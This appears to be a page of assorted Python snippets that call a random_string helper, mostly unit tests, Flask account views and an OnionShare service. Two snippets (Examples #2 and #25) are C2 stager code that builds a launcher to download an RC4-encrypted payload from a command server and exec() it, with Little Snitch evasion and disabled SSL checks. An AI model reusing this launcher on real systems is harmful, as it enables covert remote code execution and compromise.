Example #1
0
def test_solvr(write_read):
    parameters_ref = {
        "solver": {
            "method": numpy.random.randint(10),
            "z_precond": helpers.random_string(2),
            "o_precond": helpers.random_string(2),
            "rel_iter_max": numpy.random.rand(),
            "eps": numpy.random.rand(),
        },
    }
    parameters = write_read(parameters_ref)

    assert parameters_ref["solver"]["method"] == parameters["solver"]["method"]
    assert parameters_ref["solver"]["z_precond"] == parameters["solver"][
        "z_precond"]
    assert parameters_ref["solver"]["o_precond"] == parameters["solver"][
        "o_precond"]
    assert numpy.allclose(
        parameters_ref["solver"]["rel_iter_max"],
        parameters["solver"]["rel_iter_max"],
        atol=1.0e-5,
    )
    assert numpy.allclose(parameters_ref["solver"]["eps"],
                          parameters["solver"]["eps"],
                          atol=1.0e-5)
Example #2
0
    def generate_stager_hop(self, server, key, profile, encrypt=True, encode=True):
        """
        Generate the Python stager for hop.php redirectors that
        will perform key negotiation with the server and kick off the agent.
        """

        # read in the stager base
        f = open(self.installPath + "./data/agent/stager_hop.py")
        stager = f.read()
        f.close()

        stager = helpers.strip_python_comments(stager)

        # first line of randomized text to change up the ending RC4 string
        randomHeader = "%s='%s'\n" % (helpers.random_string(), helpers.random_string())
        stager = randomHeader + stager

        # patch the server and key information
        stager = stager.replace("REPLACE_SERVER", server)
        stager = stager.replace("REPLACE_STAGING_KEY", key)
        stager = stager.replace("REPLACE_PROFILE", profile)
        stager = stager.replace("index.jsp", self.stage1)
        stager = stager.replace("index.php", self.stage2)

        # # base64 encode the stager and return it
        # if encode:
        #     return ""
        if encrypt:
            # return an encrypted version of the stager ("normal" staging)
            # return encryption.xor_encrypt(stager, key)
            return encryption.rc4(key, stager)
        else:
            # otherwise return the case-randomized stager
            return stager
Example #3
0
def test_title(write_read, single):
    parameters_ref = {
        "title": (helpers.random_string(80) if single else [
            helpers.random_string(80)
            for _ in range(numpy.random.randint(5) + 2)
        ]),
    }
    parameters = write_read(parameters_ref)

    assert parameters_ref["title"] == parameters["title"]
Example #4
0
    def __init__(self):
        def exit():
            os.killpg(os.getpgid(jshell_process.pid), signal.SIGTERM)
            os.killpg(os.getpgid(dummy_input_process.pid), signal.SIGTERM)

            for f in [in_path, out_path, snippet_path]:
                try:
                    os.remove(f)
                    pass
                except FileNotFoundError:
                    pass

        atexit.register(exit)

        mkdir("snippets")
        mkdir("fifos")

        self.EOF_key = random_string(32)
        self.snippet_key = random_string(32)
        self.fifo_key = random_string(32)
        snippet_path = "snippets/" + self.snippet_key
        in_path = "fifos/in_" + self.fifo_key
        out_path = "fifos/out_" + self.fifo_key

        for path in [in_path, out_path]:
            try:
                os.mkfifo(path)
            except FileExistsError:
                pass

        dummy_input_process = subprocess.Popen(
            f"(while true; do sleep 86400; done) > {in_path}",
            shell=True,
            preexec_fn=os.setsid)
        jshell_process = subprocess.Popen(
            f"jshell < {in_path} | tee -a fifos/log_{self.EOF_key}",
            shell=True,
            preexec_fn=os.setsid,
            universal_newlines=True,
            stdout=subprocess.PIPE)

        # This is needed so that exit() can refer to both
        # processes without using self.{process}.
        # This way, garbage collection of this jshell
        # instances works properly.
        self.dummy_input_process = dummy_input_process
        self.jshell_process = jshell_process
        self.in_path = in_path
        self.out_path = out_path
        self.snippet_path = snippet_path

        self.jshell_process.stdout.read(89)
Example #5
0
def test_flac(write_read):
    parameters_ref = {
        "flac": {
            "creep": bool(numpy.random.randint(2)),
            "porosity_model": numpy.random.randint(10),
            "version": numpy.random.randint(10),
        },
        "rocks": {
            helpers.random_string(5): {
                "permeability_model": {
                    "id": numpy.random.randint(10),
                    "parameters":
                    numpy.random.rand(numpy.random.randint(7) + 1),
                },
                "equivalent_pore_pressure": {
                    "id": numpy.random.randint(10),
                    "parameters":
                    numpy.random.rand(numpy.random.randint(7) + 1),
                },
            }
            for _ in numpy.random.rand(10) + 1
        },
    }
    parameters = write_read(parameters_ref)

    helpers.allclose_dict(parameters_ref["flac"], parameters["flac"])
    for k, v in parameters_ref["rocks"].items():
        for kk, vv in v.items():
            helpers.allclose_dict(vv, parameters["rocks"][k][kk], atol=1.0e-4)
Example #6
0
File: lotg.py Project: tojaku/lotg
def update_account():
    form = AccountDataForm()
    user = g.user
    if request.method == 'GET':
        form.email.data = user.email
        form.language.data = user.language
        form.timezone.data = user.timezone
    elif request.method == 'POST' and form.validate_on_submit():
        if password_hash(form.old_password.data) != user.password:
            form.old_password.errors.append(_('Wrong password'))
            return render_template('update_account.html', form=form)
        if form.email.data != user.email:
            user.email = form.email.data
            user.confirmed = False
            user.confirmation_string = random_string(20)
            msg = message_confirmation(user.id, user.email, user.confirmation_string)
            mail.send(msg)
            flash(_('Confirmation message sent, check your e-mail'))
        if form.password.data:
            user.password = password_hash(form.password.data)
            flash(_('Password successfully changed'))
        user.language = form.language.data
        user.timezone = form.timezone.data
        db.session.commit()
        return redirect('update_account')

    return render_template('update_account.html', form=form)
def brief_title(request):
    title = random_string()

    def fin():
        delete_brief(title)

    request.addfinalizer(fin)
    return title
Example #8
0
def test_oft(write_read, oft, n):
    parameters_ref = {
        oft: [
            helpers.random_string(n)
            for _ in range(numpy.random.randint(10) + 1)
        ]
    }
    parameters = write_read(parameters_ref)

    assert parameters_ref[oft] == parameters[oft]
Example #9
0
def test_dataset_update_bad(dataset_for_tests):
    """Confirm that bad requests will be rejected."""
    indata = {"dataset": {"title": "Updated title"}}
    ds_uuid = helpers.random_string()
    responses = helpers.make_request_all_roles(f"/api/v1/dataset/{ds_uuid}",
                                               method="PATCH",
                                               data=indata)
    for response in responses:
        if response.role in ("edit", "data", "root"):
            assert response.code == 404
        elif response.role == "no-login":
            assert response.code == 401
        else:
            assert response.code == 403
            assert not response.data

    ds_uuid = uuid.uuid4().hex
    responses = helpers.make_request_all_roles(f"/api/v1/dataset/{ds_uuid}",
                                               method="PATCH",
                                               data=indata)
    for response in responses:
        if response.role in ("edit", "data", "root"):
            assert response.code == 404
        elif response.role == "no-login":
            assert response.code == 401
        else:
            assert response.code == 403
            assert not response.data

    ds_uuid = dataset_for_tests
    session = requests.Session()
    helpers.as_user(session, helpers.USERS["data"])
    indata = {"title": ""}
    response = helpers.make_request(session,
                                    f"/api/v1/dataset/{ds_uuid}",
                                    method="PATCH",
                                    data=indata)
    assert response.code == 400
    assert not response.data

    indata = {"dataset": {"extra": "asd"}}
    response = helpers.make_request(session,
                                    f"/api/v1/dataset/{ds_uuid}",
                                    method="PATCH",
                                    data=indata)
    assert response.code == 400
    assert not response.data

    indata = {"dataset": {"timestamp": "asd"}}
    response = helpers.make_request(session,
                                    f"/api/v1/dataset/{ds_uuid}",
                                    method="PATCH",
                                    data=indata)
    assert response.code == 400
    assert not response.data
Example #10
0
def test_incon(anisotropic):
    # Create 3D mesh
    dx = numpy.arange(3) + 1
    dy = numpy.arange(4) + 1
    dz = numpy.arange(5) + 1
    mesh = toughio.meshmaker.structured_grid(dx,
                                             dy,
                                             dz,
                                             material=helpers.random_string(5))

    initial_condition = numpy.random.rand(mesh.n_cells, 4)
    mesh.add_cell_data("initial_condition", initial_condition)

    porosity = numpy.random.rand(mesh.n_cells)
    mesh.add_cell_data("porosity", porosity)

    if anisotropic is not None:
        permeability = (numpy.random.rand(mesh.n_cells, 3)
                        if anisotropic else numpy.random.rand(mesh.n_cells))
        mesh.add_cell_data("permeability", permeability)

    parameters = helpers.write_read(
        filename="INCON",
        obj=None,
        writer=mesh.write_incon,
        reader=toughio.read_mesh,
        reader_kws={"file_format": "tough"},
    )

    # Check block INCON
    assert sorted(mesh.labels) == sorted(
        parameters["initial_conditions"].keys())

    values = [
        parameters["initial_conditions"][label]["values"]
        for label in mesh.labels
    ]
    assert numpy.allclose(mesh.cell_data["initial_condition"], values)

    porosity = [
        parameters["initial_conditions"][label]["porosity"]
        for label in mesh.labels
    ]
    assert numpy.allclose(mesh.cell_data["porosity"], porosity)

    if anisotropic is not None:
        userx = numpy.array([
            parameters["initial_conditions"][label]["userx"]
            for label in mesh.labels
        ])
        permeability = userx[:, :3] if anisotropic else userx[:, 0]
        assert numpy.allclose(mesh.cell_data["permeability"],
                              permeability,
                              atol=1.0e-4)
Example #11
0
    def start_hidden_service(self, gui=False, tails_root=False):
        if not self.port:
            self.choose_port()

        if helpers.get_platform() == 'Tails' and not tails_root:
            # in Tails, start the hidden service in a root process
            if gui:
                args = ['/usr/bin/gksudo', '-D', 'OnionShare', '--', '/usr/bin/onionshare']
            else:
                args = ['/usr/bin/sudo', '--', '/usr/bin/onionshare']
            p = subprocess.Popen(args+[str(self.port)], stderr=subprocess.PIPE, stdout=subprocess.PIPE)
            stdout = p.stdout.read(22) # .onion URLs are 22 chars long

            if stdout:
                self.onion_host = stdout
            else:
                if p.poll() == -1:
                    raise TailsError(o.stderr.read())
                else:
                    raise TailsError(strings._("error_tails_unknown_root"))

        else:
            if self.local_only:
                self.onion_host = '127.0.0.1:{0}'.format(self.port)

            else:
                # come up with a hidden service directory name
                hidserv_dir = '{0}/onionshare_{1}'.format(helpers.get_tmp_dir(), helpers.random_string(8))
                self.cleanup_filenames.append(hidserv_dir)

                # connect to the tor controlport
                controller = False
                tor_control_ports = [9051, 9151]
                for tor_control_port in tor_control_ports:
                    try:
                        controller = Controller.from_port(port=tor_control_port)
                        break
                    except SocketError:
                        pass
                if not controller:
                    raise NoTor(strings._("cant_connect_ctrlport").format(tor_control_ports))
                controller.authenticate()

                # set up hidden service
                controller.set_options([
                    ('HiddenServiceDir', hidserv_dir),
                    ('HiddenServicePort', '80 127.0.0.1:{0}'.format(self.port))
                ])

                # figure out the .onion hostname
                hostname_file = '{0}/hostname'.format(hidserv_dir)
                self.onion_host = open(hostname_file, 'r').read().strip()
Example #12
0
def test_outpu(write_read, fmt):
    parameters_ref = {
        "output": {
            "format": fmt,
            "variables": {
                helpers.random_string(20):
                None,
                helpers.random_string(20):
                numpy.random.randint(10),
                helpers.random_string(20):
                numpy.random.randint(10, size=1),
                helpers.random_string(20):
                numpy.random.randint(10, size=2),
                helpers.random_string(20):
                numpy.random.randint(10, size=(numpy.random.randint(1,
                                                                    10), 2)),
            },
        },
    }
    parameters = write_read(parameters_ref)

    helpers.allclose_dict(parameters_ref["output"]["variables"],
                          parameters["output"]["variables"])
 def dao_generate_bikes(self, number):
     db = firestore.Client()
     tran = db.transaction()
     for i in range(0, number):
         db.collection('bikes').document().set(
             {
                 "title": random_string(10),
                 "price": random.randint(100, 2000),
                 "stars": random.choice([1, 2, 3, 4, 5]),
                 "createdOn": datetime.now(tz=None)
             },
             merge=True)
         db.collection('bikes').document("metainfo").set(
             {"total": Increment(1)}, merge=True)
     tran.commit()
Example #14
0
File: auth.py Project: Gr1N/poffw
async def login_task(request):
    redis = request.app['redis']

    user_ip, _ = request.transport.get_extra_info('peername')

    token = random_string()
    bits = await complexity.get(redis, user_ip)
    task = hashcash.new(bits=bits)

    await redis.set(token, json.dumps(task))
    await redis.expire(token, X_POFFW_EXPIRE)

    return web.json_response(data=task, headers={
        X_POFFW_HEADER: token,
    })
Example #15
0
def upload_photo():

    try:
        file = request.files["user_file"]
    except KeyError:
        flash("No file sent.")
        return redirect(request.url)

    extension = os.path.splitext(file.filename)[1]

    if not allowed_file(file.filename):
        flash("The extension of this file (%s) is not allowed." % extension)
        return redirect("/")

    if not file.filename:
        flash("Please select a file.")
        return redirect("/")

    file.filename = random_string(16) + extension
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))
    file_path = os.path.join(app.config['UPLOAD_FOLDER'] + "/" + file.filename)
    bytessize, width, height, exif = get_image_properties(file_path)

    datetime_original = exif.get('DateTimeOriginal', None)
    if datetime_original:
        datetime_original = datetime.datetime.strptime(
            datetime_original, '%Y:%m:%d %H:%M:%S'
        )
        datetime_original = datetime_original.strftime("%Y-%m-%d %H:%M:%S")
    else:
        flash("This photo is not dated. We assumed is today.")
    user_id = flask_login.current_user.get_id()
    url = upload_file_to_s3(file_path, 'users/%s/%s' % (user_id, file.filename),
                            file.content_type, app.config["S3_BUCKET"])
    now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    cur = get_db().execute("""
        insert into photos
        (object, dt_uploaded, dt,original_name, bytessize, width, height, user_id)
        values
        (?,?,?,?,?,?,?,?)""", (url, now, datetime_original or now,
                               file.filename,
                               bytessize, width, height,
                               flask_login.current_user.get_id(),))
    g._database.commit()
    cur.close()
    os.remove(file_path)
    return redirect("/")
Example #16
0
def test_delete_bad():
    """Confirm that bad identifiers return 404."""
    session = requests.Session()
    helpers.as_user(session, helpers.USERS["data"])
    for _ in range(3):
        ds_uuid = helpers.random_string()
        response = helpers.make_request(session,
                                        f"/api/v1/dataset/{ds_uuid}",
                                        method="DELETE")
        assert response.code == 404
        assert not response.data

        ds_uuid = uuid.uuid4()
        response = helpers.make_request(session,
                                        f"/api/v1/dataset/{ds_uuid}",
                                        method="DELETE")
        assert response.code == 404
        assert not response.data
Example #17
0
def test_indom(write_read, num_pvars, num_items):
    num_items = num_items if num_items else numpy.random.randint(10) + 1
    parameters_ref = {
        "rocks": {
            helpers.random_string(5): {
                "initial_condition": numpy.random.rand(num_pvars),
            }
            for _ in range(num_items)
        },
    }
    parameters = write_read(parameters_ref)

    for k, v in parameters_ref["rocks"].items():
        assert numpy.allclose(
            v["initial_condition"],
            parameters["rocks"][k]["initial_condition"],
            atol=1.0e-4,
        )
Example #18
0
    def get(self):
        fbcookie = facebook.get_user_from_cookie(self.request.cookies)
        if not fbcookie:
            self.redirect('/')
            return
        
        user = User.is_logged(self)
        graph = facebook.GraphAPI(fbcookie["access_token"])
        profile = graph.get_object("me")
        if not user:
            password = helpers.random_string(8)
            user = User(nickname = profile['username'].lower(), password = User.slow_hash(password));
            user.fb_access_token = fbcookie["access_token"]
            try: user.about = profile['bio'] 
            except: pass

            try: user.location = profile['location']['name'] 
            except: pass    

            try: user.firstname = profile['first_name'] 
            except: pass    

            try: user.lastname = profile['last_name'] 
            except: pass    

            try: user.fb_profile_url = profile['link']
            except: pass    

            try: user.fb_ui = profile['id']
            except: pass    

            user.put()

            session = get_current_session()
            session.regenerate_id()
            session['user'] = user
            self.redirect('/')
        else:
            if str(user.fb_ui) == str(profile['id']):
                self.redirect('/')
            else:
                #TODO
                #USUARIO CAMBIO DE ID?? o ESTA VINCULANDO A CUENTA EXISTENTE
                pass
Example #19
0
def test_eleme(write_read, label_length, coord):
    labels = [
        helpers.random_label(label_length)
        for _ in range(numpy.random.randint(10) + 1)
    ]
    keys = [
        "nseq",
        "nadd",
        "material",
        "volume",
        "heat_exchange_area",
        "permeability_modifier",
        "center",
    ]
    parameters_ref = {
        "elements": {
            label: {
                key:
                (numpy.random.randint(10) if key in {"nseq", "nadd"} else
                 helpers.random_string(5) if key == "material" else numpy.
                 random.rand(3) if key == "center" else numpy.random.rand())
                for key in keys
            }
            for label in labels
        },
        "coordinates": coord,
    }
    parameters = write_read(parameters_ref)

    assert sorted(parameters_ref["elements"].keys()) == sorted(
        parameters["elements"].keys())

    for k, v in parameters_ref["elements"].items():
        for kk, vv in v.items():
            if not isinstance(vv, str):
                assert numpy.allclose(vv,
                                      parameters["elements"][k][kk],
                                      atol=1.0e-4)
            else:
                assert vv == parameters["elements"][k][kk]

    assert parameters_ref["coordinates"] == parameters["coordinates"]
Example #20
0
def test_save2incon(reset):
    this_dir = os.path.dirname(os.path.abspath(__file__))
    filename = os.path.join(this_dir, "support_files", "outputs", "SAVE.out")
    save = toughio.read_output(filename)

    output_filename = helpers.tempdir(helpers.random_string(10))
    argv = [
        filename,
        output_filename,
    ]

    if reset:
        argv += ["-r"]

    toughio._cli.save2incon(argv)

    incon = toughio.read_output(output_filename)

    assert save.labels.tolist() == incon.labels.tolist()
    helpers.allclose_dict(save.data, incon.data)
Example #21
0
File: lotg.py Project: tojaku/lotg
def account_problem():
    form = AccountProblemForm()
    if form.validate_on_submit():
        user = User.query.filter_by(email=form.email.data).first()
        if user is None:
            form.email.errors.append(_('Unknown e-mail address'))
        elif form.problem.data == 'confirmation':
            msg = message_confirmation(user.id, user.email, user.confirmation_string)
            mail.send(msg)
            flash(_('Confirmation message sent, check your e-mail'))
            return redirect('')
        elif form.problem.data == 'password':
            new_password = random_string(10)
            user.password = password_hash(new_password)
            db.session.commit()
            msg = message_reset_password(user.email, new_password)
            mail.send(msg)
            flash(_('Your password was reset, check your e-mail'))
            return redirect('')

    return render_template('account_problem.html', form=form)
Example #22
0
def test_get_entry(mdb):
    """
    Confirm that entries are returned if they exist.

    Checks:
    * Existing collections
    * Existing datasets
    * Existing orders
    * Existing users
    * Bad uuids
    * Bad non-uuid identifiers
    """
    for dbcollection in ("collections", "datasets", "orders", "users"):
        entries = mdb[dbcollection].aggregate([{"$sample": {"size": 2}}])
        for entry in entries:
            res = utils.get_entry(mdb, dbcollection, str(entry["_id"]))
            assert res["_id"] == entry["_id"]

    for _ in range(3):
        assert not utils.get_entry(mdb, "collections", str(uuid.uuid4()))
        assert not utils.get_entry(mdb, "collections", helpers.random_string())
Example #23
0
File: lotg.py Project: tojaku/lotg
def sign_up():
    form = SignUpForm()
    if form.validate_on_submit():
        user = User()
        user.email = form.email.data
        user.password = password_hash(form.password.data)
        user.signed_up = datetime.datetime.utcnow()
        user.language = form.language.data
        user.timezone = form.timezone.data
        user.confirmation_string = random_string(20)
        db.session.add(user)

        try:
            db.session.commit()
        except IntegrityError as err:
            if err.message.find(user.email) != -1:
                form.email.errors.append(_('E-mail address is in use'))
        else:
            msg = message_confirmation(user.id, user.email, user.confirmation_string)
            mail.send(msg)
            flash(_('Successful sign up, check your e-mail'))
            return redirect('')

    return render_template('sign_up.html', form=form)
Example #24
0
 def keys(self):
     return [random_string(length=10) for i in xrange(10)]
Example #25
0
    def generate_launcher(self, listenerName, encode=True, userAgent="default", littlesnitch='True'):
        """
        Generate the initial Python 'download cradle' with a specified
        c2 server and a valid HTTP checksum.

        listenerName -> a name of a validly registered listener

        userAgent ->    "default" uses the UA from the default profile in the database
                        "none" sets no user agent
                        any other text is used as the user-agent
        """

        # if we don't have a valid listener, return nothing
        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            print helpers.color("[!] Invalid listener: " + listenerName)
            return ""

        # extract the staging information from this specified listener
        (server, stagingKey, pivotServer, hop) = self.mainMenu.listeners.get_stager_config(listenerName)

        # if UA is 'default', use the UA from the default profile in the database
        if userAgent.lower() == "default":
            userAgent = self.userAgent

        # get the launching stage0 URI
        stage0uri = self.generate_launcher_uri(server, encode, pivotServer, hop)

        # adopted from MSF's python meterpreter staging
        #   https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/python/reverse_http.rb

        # first line of randomized text to change up the ending RC4 string
        launcherBase = "%s='%s'\n" % (helpers.random_string(), helpers.random_string())

        if "https" in stage0uri:
            # monkey patch ssl woohooo
            launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"

        launcherBase += "import sys, urllib2;"
        try:
            if littlesnitch.lower() == 'true':
                launcherBase += "import re, subprocess;"
                launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
                launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
                launcherBase += "out = ps.stdout.read()\n"
                launcherBase += "ps.stdout.close()\n"
                launcherBase += "if re.search(\"Little Snitch\", out):\n"
                launcherBase += "   sys.exit()\n"
        except Exception as e:
            p = "[!] Error setting LittleSnitch in stagger: " + str(e)
            print helpers.color(p, color="Yellow")

        
        launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();"
        launcherBase += "UA='%s';" % (userAgent)
        launcherBase += "o.addheaders=[('User-Agent',UA)];"
        launcherBase += "a=o.open('%s').read();" % (stage0uri)
        launcherBase += "key='%s';" % (stagingKey)
        # RC4 decryption
        launcherBase += "S,j,out=range(256),0,[]\n"
        launcherBase += "for i in range(256):\n"
        launcherBase += "    j=(j+S[i]+ord(key[i%len(key)]))%256\n"
        launcherBase += "    S[i],S[j]=S[j],S[i]\n"
        launcherBase += "i=j=0\n"
        launcherBase += "for char in a:\n"
        launcherBase += "    i=(i+1)%256\n"
        launcherBase += "    j=(j+S[i])%256\n"
        launcherBase += "    S[i],S[j]=S[j],S[i]\n"
        launcherBase += "    out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
        launcherBase += "exec(''.join(out))"

        # base64 encode the stager and return it
        if encode:
            launchEncoded = base64.b64encode(launcherBase)
            # launcher = "python -c \"import sys,base64;exec(base64.b64decode('%s'));\"" %(launchEncoded)
            launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (launchEncoded)
            return launcher
        else:
            return launcherBase
 def test_title_1_with_short_description(self):
     description = random_string(30)
     actionitem = ActionItem()
     actionitem.description = description
     assert actionitem.title() == description
Example #27
0
 def values(self):
     return [random_string(length=50, with_spaces=True) for i in xrange(10)]
Example #28
0
def test_gener(write_read, specific_enthalpy, label_length):
    n_rnd = numpy.random.randint(100) + 1
    parameters_ref = {
        "generators": {
            helpers.random_label(label_length): {
                "name": [
                    helpers.random_string(5),
                    helpers.random_string(5),
                    helpers.random_string(5),
                ],
                "nseq":
                numpy.random.randint(10, size=3),
                "nadd":
                numpy.random.randint(10, size=3),
                "nads":
                numpy.random.randint(10, size=3),
                "type": [
                    helpers.random_string(4),
                    helpers.random_string(4),
                    helpers.random_string(4),
                ],
                "times":
                [numpy.random.rand(10), None,
                 numpy.random.rand(n_rnd)],
                "rates": [
                    numpy.random.rand(10),
                    numpy.random.rand(),
                    numpy.random.rand(n_rnd),
                ],
                "specific_enthalpy": [
                    numpy.random.rand(10),
                    numpy.random.rand(),
                    numpy.random.rand(n_rnd),
                ] if specific_enthalpy else None,
                "layer_thickness":
                numpy.random.rand(3),
            },
            helpers.random_label(label_length): {
                "name": [helpers.random_string(5),
                         helpers.random_string(5)],
                "nseq": numpy.random.randint(10, size=2),
                "nadd": numpy.random.randint(10, size=2),
                "nads": numpy.random.randint(10, size=2),
                "type": [helpers.random_string(4),
                         helpers.random_string(4)],
                "rates": numpy.random.rand(2),
            },
            helpers.random_label(label_length): {
                "nseq": numpy.random.randint(10),
                "nadd": numpy.random.randint(10),
                "nads": numpy.random.randint(10),
                "type": helpers.random_string(4),
                "rates": numpy.random.rand(),
                "layer_thickness": numpy.random.rand(),
            },
        },
    }
    parameters = write_read(parameters_ref)

    assert sorted(parameters_ref["generators"].keys()) == sorted(
        parameters["generators"].keys())

    for k, v in parameters_ref["generators"].items():
        for kk, vv in v.items():
            if kk in {"name", "type"}:
                assert vv == parameters["generators"][k][kk]
            else:
                if kk == "specific_enthalpy" and not specific_enthalpy:
                    continue
                if numpy.ndim(vv):
                    for i, arr_ref in enumerate(vv):
                        arr = parameters["generators"][k][kk][i]
                        if arr_ref is not None:
                            assert numpy.allclose(arr, arr_ref, atol=1.0e-4)
                        else:
                            assert arr is None
                else:
                    assert numpy.allclose(vv,
                                          parameters["generators"][k][kk],
                                          atol=1.0e-4)
Example #29
0
def test_rocks(write_read):
    keys = [
        "density",
        "porosity",
        "permeability",
        "conductivity",
        "specific_heat",
        "compressibility",
        "expansivity",
        "conductivity_dry",
        "tortuosity",
        "klinkenberg_parameter",
        "distribution_coefficient_3",
        "distribution_coefficient_4",
    ]
    parameters_ref = {
        "rocks": {
            helpers.random_string(5):
            {key: numpy.random.rand()
             for key in keys[:5]},
            helpers.random_string(5): {
                key: numpy.random.rand()
                if key != "permeability" else numpy.random.rand(3)
                for key in keys[:5]
            },
            helpers.random_string(5):
            {key: numpy.random.rand()
             for key in keys},
            helpers.random_string(5):
            {key: numpy.random.rand()
             for key in keys},
            helpers.random_string(5):
            {key: numpy.random.rand()
             for key in keys},
            helpers.random_string(5):
            {key: numpy.random.rand()
             for key in keys},
        }
    }
    names = list(parameters_ref["rocks"].keys())
    parameters_ref["rocks"][names[-1]].update({
        "relative_permeability": {
            "id": numpy.random.randint(10),
            "parameters": numpy.random.rand(numpy.random.randint(7) + 1),
        },
    })
    parameters_ref["rocks"][names[-2]].update({
        "capillarity": {
            "id": numpy.random.randint(10),
            "parameters": numpy.random.rand(numpy.random.randint(7) + 1),
        },
    })
    parameters_ref["rocks"][names[-3]].update({
        "relative_permeability": {
            "id": numpy.random.randint(10),
            "parameters": numpy.random.rand(numpy.random.randint(7) + 1),
        },
        "capillarity": {
            "id": numpy.random.randint(10),
            "parameters": numpy.random.rand(numpy.random.randint(7) + 1),
        },
    })
    parameters = write_read(parameters_ref)

    assert sorted(parameters_ref["rocks"].keys()) == sorted(
        parameters["rocks"].keys())

    for k, v in parameters_ref["rocks"].items():
        for kk, vv in v.items():
            if not isinstance(vv, dict):
                assert numpy.allclose(vv,
                                      parameters["rocks"][k][kk],
                                      atol=1.0e-5)
            else:
                helpers.allclose_dict(vv,
                                      parameters["rocks"][k][kk],
                                      atol=1.0e-4)
 def __init__(self):
     self.snippet_key = random_string(32)
     self.restart()
Example #31
0
    except:
        seed = 0x1337

    sections = conf.sections()

    # Creates the services
    for section in sections:
        if section.startswith('service-'):
            name = section[len('service-'):]
            services[name] = Service(name, Binary(name + "_0000"), 0)
            if len(services.values()) == num_services:
                break

    # Fill in the unspecified services
    for _ in range(len(services.values()), num_services):
        name = random_string(length=6).lower()
        services[name] = Service(name, Binary(name + "_0000"), 0)

    for section in sections:
        if section.startswith('team-'):
            name = section[len('team-'):]
            try:
                team_type = conf.get(section, 'type')
            except:
                team_type = 'default'
            try:
                type1_probability = conf.get(section, 'type1_probability')
            except:
                type1_probability = 1.0
            try:
                type2_probability = conf.get(section, 'type2_probability')
Example #32
0
	def post(self):
		user = User.is_logged(self)
		if not user:
			self.redirect('/')

		key 		= self.request.get('edit')
		tags        = [a.lower() for a in self.request.get_all('tags[]')]
		user        = user
		ingredients = self.request.get_all('ingredients[]')
		directions  = self.request.get_all('directions[]')
		tags        = tags
		name        = self.request.get('name')
		notes       = self.request.get('notes')
		prep        = self.request.get('prep_time')
		cook        = self.request.get('cook_time')
		level       = self.request.get('level')
		private     = True if self.request.get('private') == "1" else False
		slug        = helpers.sluglify( name )
		thumb       = None
		tinythumb   = None

		slug_exists = Koch.all().filter('slug =', slug).fetch(1)

		if len ( slug_exists ) == 1:
			#alreadyexists
			slug = "%s-%s" % (slug, helpers.random_string())

		if self.request.get('photo'):
			try:
				img_data = self.request.POST.get('photo').file.read()

				img = images.Image(img_data)
				img.im_feeling_lucky()
				png_data = img.execute_transforms(images.JPEG)
				img.resize(620,420)
				thumb = img.execute_transforms(images.JPEG)

				thmb = images.Image(img_data)
				thmb.im_feeling_lucky()
				png_data = thmb.execute_transforms(images.JPEG)
				thmb.resize(0, 80)
				tinythumb = thmb.execute_transforms(images.JPEG)				

			except images.BadImageError:
				pass
			except images.NotImageError:
				pass
			except images.LargeImageError:
				pass

		if key:
			koch       = Koch.get( key )
			koch.title = name 
		else:
			koch = Koch(slug=slug, title=name, author=user)
		
		koch.notes       = notes
		koch.prep_time   = prep
		koch.cook_time   = cook
		koch.level       = level
		koch.private     = private
		koch.tags        = tags
		koch.ingredients = ingredients
		koch.directions  = directions
					
		
		if thumb is not None:
			koch.photo = thumb
			koch.thumb = tinythumb
		
		for tag in tags:
			Tag.up(tag)

		if key:
			user.recipes += 1
			user.put() 
		
		koch.put()
		self.redirect('/cook/%s' % (user.nickname))
Example #33
0
# show them as snippets in our documentation. They are not necessary to be
# included when creating your own custom code.
#
# Example of smart-tags:
#  __something:
# some code here
# :something__

import base64
import json
import requests
import os

import helpers

wallet_name = helpers.random_string()
wallet_passphrase = helpers.random_string()

wallet_server_url = os.getenv("WALLETSERVER_URL")
if not helpers.check_url(wallet_server_url):
    print("Error: Invalid or missing WALLETSERVER_URL environment variable.")
    exit(1)

# Help guide users against including api version suffix on url
wallet_server_url = helpers.check_wallet_url(wallet_server_url)

print(f"Creating a new wallet on {wallet_server_url}:")
print(f"- name:       {wallet_name}")
print(f"- passphrase: {wallet_passphrase}")

# __create_wallet:
Example #34
0
from helpers import PytestRegex as regex
from helpers import random_string

INPUT_OUTPUT_DICT = {}

# ----------------------------------
# Registration test
INPUT = [['post', {'url': '/registration',
                   'data': {'username': random_string(),
                            'password': random_string()},
                   'headers': None}]]

EXPECTED_OUTPUT = [{'status': 'Success',
                    'message': 'Successfully authenticated.',
                    'auth_token': regex('.*'),
                    'refresh_token': regex('.*')}]

INPUT_OUTPUT_DICT.update({'registration': [INPUT[:], EXPECTED_OUTPUT[:]]})
# ----------------------------------


# Login test
INPUT = [['post', {'url': '/login',
                   'data': {'username': '******',
                            'password': '******'},
                   'headers': None}]]

INPUT_OUTPUT_DICT.update({'login': [INPUT[:], EXPECTED_OUTPUT[:]]})
# ----------------------------------

Example #35
0
    parameters_ref = {
        "n_phase": n_phase,
        "diffusion": numpy.random.rand(numpy.random.randint(5) + 1, n_phase),
    }
    parameters = write_read(parameters_ref)

    assert numpy.allclose(parameters_ref["diffusion"],
                          parameters["diffusion"],
                          atol=1.0e-4)


@pytest.mark.parametrize(
    "write_read, fmt",
    [
        (write_read_tough, None),
        (write_read_tough, helpers.random_string(20)),
        (write_read_json, None),
        (write_read_json, helpers.random_string(20)),
    ],
)
def test_outpu(write_read, fmt):
    parameters_ref = {
        "output": {
            "format": fmt,
            "variables": {
                helpers.random_string(20):
                None,
                helpers.random_string(20):
                numpy.random.randint(10),
                helpers.random_string(20):
                numpy.random.randint(10, size=1),
Example #36
0

REQUEST_LOAD = 0
REQUEST_DOWNLOAD = 1
REQUEST_PROGRESS = 2
REQUEST_OTHER = 3
REQUEST_CANCELED = 4
q = Queue.Queue()


def add_request(type, path, data=None):
    global q
    q.put({'type': type, 'path': path, 'data': data})


